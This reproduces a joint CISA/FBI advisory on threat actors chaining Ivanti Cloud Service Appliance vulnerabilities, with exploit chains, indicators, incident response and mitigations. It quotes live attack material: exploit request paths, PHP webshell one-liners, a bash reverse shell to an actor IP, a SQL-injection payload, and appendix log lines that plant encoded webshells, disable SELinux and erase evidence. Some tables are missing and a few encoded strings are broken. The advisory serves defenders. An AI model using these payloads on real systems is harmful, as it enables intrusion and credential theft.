NATIONAL COORDINATOR FOR CRITICAL INFRASTRUCTURE SECURITY AND RESILIENCE

CYBERSECURITY ADVISORY

Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications

Last Revised: January 31, 2025

Alert Code: AA25-022A

RELATED TOPICS: [ORGANIZATIONS AND CYBER SAFETY](#), [CYBER THREATS AND ADVISORIES](#), [INCIDENT DETECTION, RESPONSE, AND PREVENTION](#)

Note: The CVEs in this advisory are unrelated to vulnerabilities (CVE-2025-0282 and CVE-2025-0283) in Ivanti's Connect Secure, Policy Secure and ZTA Gateways. For more information on mitigating CVE-2025-0282 and CVE-2025-0283, see [Ivanti Releases Security Updates for Connect Secure, Policy Secure, and ZTA Gateways](#) <<https://www.cisa.gov/news-events/alerts/2025/01/08/ivanti-releases-security-updates-connect-secure-policy-secure-and-zta-gateways>>.

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): [CVE-2024-8963](https://nvd.nist.gov/vuln/detail/cve-2024-8963), an administrative bypass vulnerability; [CVE-2024-9379](https://nvd.nist.gov/vuln/detail/cve-2024-9379), a SQL injection vulnerability; and [CVE-2024-8190](https://nvd.nist.gov/vuln/detail/cve-2024-8190) and [CVE-2024-9380](https://nvd.nist.gov/vuln/detail/cve-2024-9380), remote code execution vulnerabilities.

According to CISA and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors' primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.

All four vulnerabilities affect Ivanti CSA version 4.6x versions before 519, and two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect CSA versions 5.0.1 and below; according to Ivanti, these CVEs have not been exploited in version 5.0.^[1]

Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CISA and FBI strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA. Network defenders are encouraged to hunt for malicious activity on their networks using the detection methods and indicators of

Give Feedback

compromise (IOCs) within this advisory. Credentials and sensitive data stored within the affected Ivanti appliances should be considered compromised. Organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.

Technical Details

Note: This advisory uses the [MITRE ATT&CK® Matrix for Enterprise](https://attack.mitre.org/versions/v16/matrices/enterprise) <<https://attack.mitre.org/versions/v16/matrices/enterprise>> framework, version 16. See the **MITRE ATT&CK Tactics and Techniques** section of this advisory for a table of the threat actors' activity mapped to MITRE ATT&CK tactics and techniques.

In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and CVE-2024-8963.[2][3] In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.[1]

- CVE-2024-8963 <<https://nvd.nist.gov/vuln/detail/cve-2024-8963>> [CWE-22: Path Traversal <<https://cwe.mitre.org/data/definitions/22.html>>] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection <<https://cwe.mitre.org/data/definitions/78.html>>], threat actors can remotely authenticate into a victims' network and execute arbitrary commands on the appliance [T1219 <<https://attack.mitre.org/versions/v16/techniques/t1219/>>].[2][3]
- CVE-2024-9379 [CWE-89: SQL Injection <<https://cwe.mitre.org/data/definitions/89.html>>] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.[1]
- CVE-2024-9380 [CWE-77: Command Injection <<https://cwe.mitre.org/data/definitions/77.html>>] allows a remote authenticated attacker with admin privileges to obtain RCE.[1]

According to Ivanti's advisories and industry reporting, these vulnerabilities were exploited as zero days.[4] <<https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa>>] Based on evidence of active exploitation, CISA added CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 to its [Known Exploited Vulnerabilities \(KEV\) Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) <<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>>.

According to CISA and trusted third-party incident response data, threat actors chained the above listed vulnerabilities to gain initial access, conduct RCE, obtain credentials, and implant webshells on victim networks. The primary exploit paths included two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction

Give Feedback

with CVE-2024-8190 and CVE-2024-9380. The other chain exploited CVE-2024-8963 and CVE-2024-9379. After exploitation, the actors moved laterally in one victim—other victims had no follow-on activity because they identified anomalous activity and implemented mitigation measures.

Exploit Chain 1

The threat actors leveraged CVE-2024-8963 in conjunction with remote code execution vulnerabilities, CVE-2024-8190 and CVE-2024-9380. Acting as a `nobody` user [T1564.002 <<https://attack.mitre.org/versions/v16/techniques/t1564/002/>>], the threat actors first sent a `GET` request to `datetime.php` to acquire session and cross-site request forgery (CSRF) tokens using `GET /client/index.php%3F.php/gsb/datetime[.]php` [T1071.001 <<https://attack.mitre.org/versions/v16/techniques/t1071/001/>>]. They followed this in quick succession with a `POST` request to the same endpoint, using the `TIMEZONE` input field to manipulate the `setSystemTimeZone` function and execute code. In some confirmed compromises, the actors used this method to run base64-encoded Python scripts that harvested encrypted admin credentials from the database [T1552.001 <<https://attack.mitre.org/versions/v16/techniques/t1552/001/>>]. **Note:** The actors used multiple script variations. See **Appendix A** for examples of encoded and decoded scripts.

In some cases, the threat actors exfiltrated the encrypted admin credentials then decrypted them offline [TA0010 <<https://attack.mitre.org/versions/v16/tactics/ta0010/>>]. In other cases, the threat actors leveraged an executable matching the regular expression `php\w{6}` located in the `/tmp` directory to decrypt the credentials prior to exfiltration—this tool was unrecoverable.

After obtaining credentials, the actors logged in and exploited CVE-2024-9380 to execute commands from a higher privileged account. The actors successfully sent a `GET` request to `/gsb/reports[.]php`. They immediately followed this with a `POST` request using the `TW_ID` input field to execute code to implant webshells for persistence [T1505.003 <<https://attack.mitre.org/versions/v16/techniques/t1505/003/>>].

In one confirmed compromise, the threat actors tried to create webshells using two different paths:

- `echo "<?php system(@\$_REQUEST['a']);;">/opt/ivanti/csa/broker/webroot/client/help.php`
- `echo "<?php system('/bin/sudo '. @\$_REQUEST['a']);;" > /opt/landesk/broker/webroot/gsb/help.php`

In the same compromise, the actors used the exploit to execute the following script to create a reverse Transmission Control Protocol command and control (C2) channel: `bash -i >&/dev/tcp/107.173.89[.]116/8000 0>&1.`

In another compromise, the threat actors maintained their presence on the victim's system for a longer amount of time. The threat actors used `sudo` commands to disable the vulnerability in `DateDateTimeTab.php`, modify and remove webshells, and remove evidence of exploitation [T1548.003 <<https://attack.mitre.org/versions/v16/techniques/t1548/003/>>]. See **Appendix B** for the list of `sudo` commands used.

Lateral Movement

In one case, there was evidence of lateral movement after the threat actors gained access and established a foothold through this exploit chain. It is suspected that the threat actors gained access into a Jenkins server running a vulnerable, outdated version [T1068 <<https://attack.mitre.org/versions/v16/techniques/t1068/>>]. Logs on the Jenkins machine showed that a command in the bash history contained credentials to the postgres server. The threat actors then

attempted to log into the Virtual Private Network (VPN) server but were unsuccessful. Prior to moving laterally, the actors likely performed discovery on the CSA device using Obelisk and GoGo to scan for vulnerabilities [T1595.002 <<https://attack.mitre.org/versions/v16/techniques/t1595/002/>>].

Exploit Chain 2

In one confirmed compromise, the actors used a similar exploit chain, exploiting CVE-2024-8963 in conjunction with CVE-2024-9379, using GET /client/index.php%3f.php/gsb/broker.php for initial access.

After the threat actors gained initial access, they attempted to exploit CVE-2024-9379 to create a webshell to gain persistent access. They executed GET and POST requests in quick succession to /client/index.php%3F.php/gsb/broker.php. In the POST body, threat actors entered the following string in the lockout attempts input box: LOCKOUTATTEMPTS = 1 ;INSERT INTO user_info(username, accessed, attempts) VALUES (''echo -n TnNhV1Z1ZEM5b1pXeHdMbK>>./k''', NOW(), 10). The first portion of the command (LOCKOUTATTEMPTS=1) fit the format of the application and was properly handled by the application. However, the second portion of the command, a SQL injection [T1190 <<https://attack.mitre.org/versions/v16/techniques/t1190/>>], was not properly handled by the application. Regardless, the application processed both commands, allowing the threat actors to insert a user into the user_info table.

After inserting valid bash code as a user in the user_info table, the threat actors attempted to login as the user. The authoring agencies believe the threat actors knew this login would fail but were attempting to coerce the application into handling the bash code improperly. In this attempt, the application did not evaluate the validity of the login, but instead ran echo -n TnNhV1Z1ZEM5b1pXeHdMbK>>./k as if it were code. The threat actors repeated the process of echo commands until they built a valid web shell [T1059 <<https://attack.mitre.org/versions/v16/techniques/t1059/>>]. However, there were no observations that the threat actors were successful.

Detection of Activity

According to incident response data from three victim organizations, the actors were unsuccessful with follow-on activity due to the organizations' rapid detection of the malicious activity. To remediate exploitation, all three organizations replaced the virtual machines with clean and upgraded versions.

Victim Organization 1

The first organization detected malicious activity early in the exploitation. A system administrator detected the anomalous creation of user accounts. After investigation, the organization remediated the incident. While it is likely admin credentials were exfiltrated, there were no signs of lateral movement.

Victim Organization 2

This organization had an endpoint protection platform (EPP) installed on their system that alerted when the threat actors executed base64 encoded script to create webshells. There were no indications of webshells successfully being created or of lateral movement.

Victim Organization 3

This organization leveraged the IOC findings from the other two victim sites to quickly detect malicious activity. This threat activity included the download and deployment of Obelisk and GoGo Scanner, which generated a large number of logs. The organization used these logs to identify anomalous activity.

Indicators of Compromise

See **Table 1** through **Table 3** for IOCs related to the threat actors' exploitation of CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 in Ivanti CSA.

Disclaimer: Some IP addresses in this cybersecurity advisory may be associated with legitimate activity.

Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.

Table 5: Initial Access

Technique Title	ID	Use
-----------------	----	-----

Technique Title	ID	Use
Exploit Public-Facing Application	T1190 https://attack.mitre.org/versions/v1/5/techniques/t1190/	Threat actors leveraged weaknesses in applications that are not properly handled to compromise network device protocols, perform SQL injections, and generally exploit applications.

Table 6: Execution

Technique Title	ID	Use
Command and Scripting Interpreter	T1059 https://attack.mitre.org/versions/v1/6/techniques/t1059/	Threat actors abused command and script interpreters to execute commands, scripts, or binaries.

Table 7: Persistence

Technique Title	ID	Use
Modify Authentication Process	T1556 https://attack.mitre.org/versions/v1/5/techniques/t1556/	Threat actors executed an authentication bypass by exploiting the authentication mechanisms of a device to gain access to organizations' networks.
Server Software Component: Web Shell	T1505.003 https://attack.mitre.org/versions/v1/6/techniques/t1505/003/	Threat actors executed code to implant webshells for persistence.

Table 8: Privilege Escalation

Technique Title	ID	Use
Exploitation for Privilege Escalation	T1068 https://attack.mitre.org/versions/v1/6/techniques/t1068/	Threat actors leveraged weaknesses to gain access via an outdated, vulnerable version of a server.

Give Feedback

Table 9: Defense Evasion

Technique Title	ID	Use
Hide Artifacts: Hidden Users	T1564.002 https://attack.mitre.org/versions/v1/6/techniques/t1564/002/	Threat actors acted as a hidden user to disguise their presence on a system.

Technique Title	ID	Use
Deobfuscate/Decode Files or Information	T1140 < https://attack.mitre.org/versions/v1/6/techniques/t1140/ >	Threat actors decrypted credentials prior to exfiltration by leveraging native tools located in the extracted backup file.
Abuse Elevation Control Mechanism: Sudo and Sudo Caching	T1548.003 < https://attack.mitre.org/versions/v1/6/techniques/t1548/003/ >	Threat actors used <code>sudo</code> commands to disable vulnerabilities, modify and remove webshells, and remove evidence of exploitation.

Table 10: Credential Access

Technique Title	ID	Use
Unsecured Credentials: Credentials in Files	T1552.001 < https://attack.mitre.org/versions/v1/6/techniques/t1552/001/ >	Threat actors harvested encrypted admin credentials to gain further access.

Table 11: Lateral Movement

Technique Title	ID	Use
Exploitation of Remote Services	T1210 < https://attack.mitre.org/versions/v1/5/techniques/t1210/ >	Threat actors exploited CSAs via remote services to gain access to an organization's networks by leveraging programming errors, EOL systems, and operating systems.

Table 12: Command and Control

Technique Title	ID	Use
Remote Access Software	T1219 < https://attack.mitre.org/techniques/t1219/ >	Threat actors attempted to remotely authenticate into a victim's network and execute arbitrary commands on the appliance.
Application Layer: Web Protocol	T1071.001 < https://attack.mitre.org/versions/v1/6/techniques/t1071/001/ >	Threat actors used tools such as <code>GET</code> or <code>POST</code> requests to acquire session and CSRF tokens.

Give Feedback

Table 13: Exfiltration

Technique Title	ID	Use
-----------------	----	-----

Technique Title	ID	Use
Exfiltration	TA0010 < https://attack.mitre.org/versions/v1/6/tactics/ta0010/ >	Threat actors exfiltrated encrypted admin credentials or other encrypted data for future use.

Incident Response

If compromise is detected, the authoring agencies recommend that organizations:

1. Quarantine or take offline potentially affected hosts.
 2. Reimage compromised hosts.
 3. Provision new account credentials.
 4. For Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol and AD.
 5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
- Note:** Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
6. Report the compromise to CISA via CISA's 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).

Mitigations

CISA and FBI recommend organizations:

- **Upgrade to the latest supported version of Ivanti CSA immediately** for continued support.^[3] Please note that Ivanti CSA 4.6 is EOL and no longer receives patches or third-party libraries. Customers must upgrade to the latest version of the product for continued support.
- **Install endpoint detection and response (EDR) on the system to alert network defenders on unusual and potentially malicious activity.**
- **Establish a baseline and maintain detailed logs of network traffic, account behavior, and software.** This can assist network defenders in identifying anomalies that may indicate malicious activity more quickly.
- **Keep all operating systems, software, and firmware up to date.** Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities <<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>> in internet-facing systems [**CPG 1.E** <<https://www.cisa.gov/cybersecurity-performance-goals-cpgs#mitigatingknownvulnerabilities1e>>].
- **Secure remote access tools by:**
 - Implementing application controls to manage and control software execution, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.

- **Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services.** If RDP is necessary, rigorously apply best practices, for example [[CPG 2.W <https://www.cisa.gov/cybersecurity-performance-goals-cpgs#noexploitableservicesontheinternet2w>](https://www.cisa.gov/cybersecurity-performance-goals-cpgs#noexploitableservicesontheinternet2w)]:
 - Audit the network for systems using RDP.
 - Close unused RDP ports.
 - Enforce account lockouts after a specified number of attempts.
 - Apply [phishing-resistant multifactor authentication \(MFA\)](https://www.cisa.gov/mfa) <<https://www.cisa.gov/mfa>>.
 - Log RDP login attempts.
- Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
- **Follow best cybersecurity practices in your production and enterprise environments**, including mandating [phishing-resistant multifactor authentication \(MFA\)](https://www.cisa.gov/mfa) <<https://www.cisa.gov/mfa>> for all staff and services. For additional best practices, see CISA's [Cross-Sector Cybersecurity Performance Goals \(CPGs\)](https://www.cisa.gov/cybersecurity-performance-goals) <<https://www.cisa.gov/cybersecurity-performance-goals>>. The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common tactics, techniques, and procedures. Because the CPGs are a subset of best practices, CISA and FBI also recommend software manufacturers implement a comprehensive information security program based on a recognized framework, such as the [NIST Cybersecurity Framework \(CSF\)](https://www.nist.gov/cyberframework) <<https://www.nist.gov/cyberframework>>.

Validate Security Controls

In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see **Table 4** through **Table 13**).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies' performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Contact Information

Organizations are encouraged to report suspicious or criminal activity related to information in this advisory to:

- CISA via CISA's 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA) or your local **FBI field office** <<https://www.fbi.gov/contact-us/field-offices>>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.

Give Feedback

Command	Use
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=/sbin/setenforce 0	Temporarily disables SELinux.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo REDACTED_BASE64_PASSWORD base64 >/opt/landesk/broker/webroot/gsb/site.cnf	Exfiltrates credentials and places them in a site.cnf webfile.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo PD9waHAgZXZhbCgkX1BPU1RbImNiNzg2OGM0 NjA zNTQ4NTdiNzE5MjA0ZTI3NjZlZGJlIl0pOw== base64 -d >/opt/landesk/broker/webroot/gsb/view.php	Creates a webshell at view.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/sbin/tripwire --update ;/usr/bin/echo ZWNo byAiPD9waHAgc3IzdGVtKCcvYmluL3N1ZG 8gJy4Gq FwkX1JFUUVVFU1RbJ2EnXS k7liA+IC9vcHQvbGFuZ GVzay9icm 9rZXlvd2Vicm9vdC9nc2lvaGVscC5waHA= /usr/bin/base64 -d /bin/bash;	Creates a webshell at help.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/sed -i 's/setPhpTimeZone(\$TIMEZONE)\/\/ setPhpTimeZone()/g' /opt/landesk/broker/webroot/gsb/DateTimeTab.ph p	Comments out the function setPhpTimeZone in DateTimeTab.php that logs the full exploit command.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/sed -i 's/setSystemTimeZone(\$TIMEZONE)\/\/ setSystemTimeZone(\$TIMEZONE)/g' /opt/landesk/broker/webroot/gsb/DateTimeTab.ph p	Comments out the vulnerable function setSystemTimeZone in DateTimeTab.php.

Give Feedback

Command	Use
<pre>sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/sed -i 's/GSB main page/GSB main page\neval(\$_POST["in39112cnnpkyc1os01q34gp 6r60akgi"]);'/g' /opt/landesk/broker/webroot/client/index.php</pre>	Adds a webshell into index.php.
<pre>sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/sed -i 's/\$canvas_height = 600;/\$canvas_height = 600;\n\teval(\$_POST["in39112cnnpkyc1os01q34g p6r60akgi"]);' /opt/landesk/broker/webroot/gsb/style.php</pre>	Adds a webshell into style.php.
<pre>sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/client/index.php</pre>	Timestamping attempt to change the access and modification of index.php.
<pre>sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/style.php</pre>	Timestamping attempt to change the access and modification time of style.php
<pre>sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/DateTimeTab.ph p</pre>	Timestamping attempt to change the access and modification time of DateTimeTab.php.
<pre>sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/rm /opt/landesk/broker/webroot/gsb/help.php</pre>	Timestamping attempt to change the access and modification time of help.php
<pre>sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/rm /var/log/messages</pre>	Removes evidence.

Command	Use
<pre>sudo: gsbadm : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/rm /opt/landesk/broker/webroot/gsb/site.cnf</pre>	Removes site.cnf file (exfiltrated credentials).
<pre>sudo: gsbadm : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/rm /opt/landesk/broker/webroot/client/client.php</pre>	Removes one of the original webshells.
<pre>sudo: gsbadm : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb;/rm /opt/landesk/broker/webroot/gsb/view.php</pre>	Removes one of the original webshells.
